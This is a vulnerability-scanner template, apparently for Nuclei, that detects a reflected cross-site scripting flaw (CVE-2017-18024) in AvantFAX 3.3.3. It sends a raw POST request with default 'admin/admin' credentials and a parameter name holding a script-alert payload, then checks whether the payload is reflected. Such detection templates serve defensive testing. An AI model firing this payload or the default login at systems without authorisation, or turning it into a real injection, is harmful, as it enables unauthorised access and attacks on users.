id: CVE-2017-18024

info:
  name: AvantFAX 3.3.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
  remediation: |
    Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://hackerone.com/reports/963798
    - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18024
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18024
    cwe-id: CWE-79
    epss-score: 0.00074
    epss-percentile: 0.30928
    cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: avantfax
    product: avantfax
  tags: avantfax,hackerone,packetstorm,cve,cve2017,xss

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("{{randstr}}")</script>'
          - 'AvantFAX'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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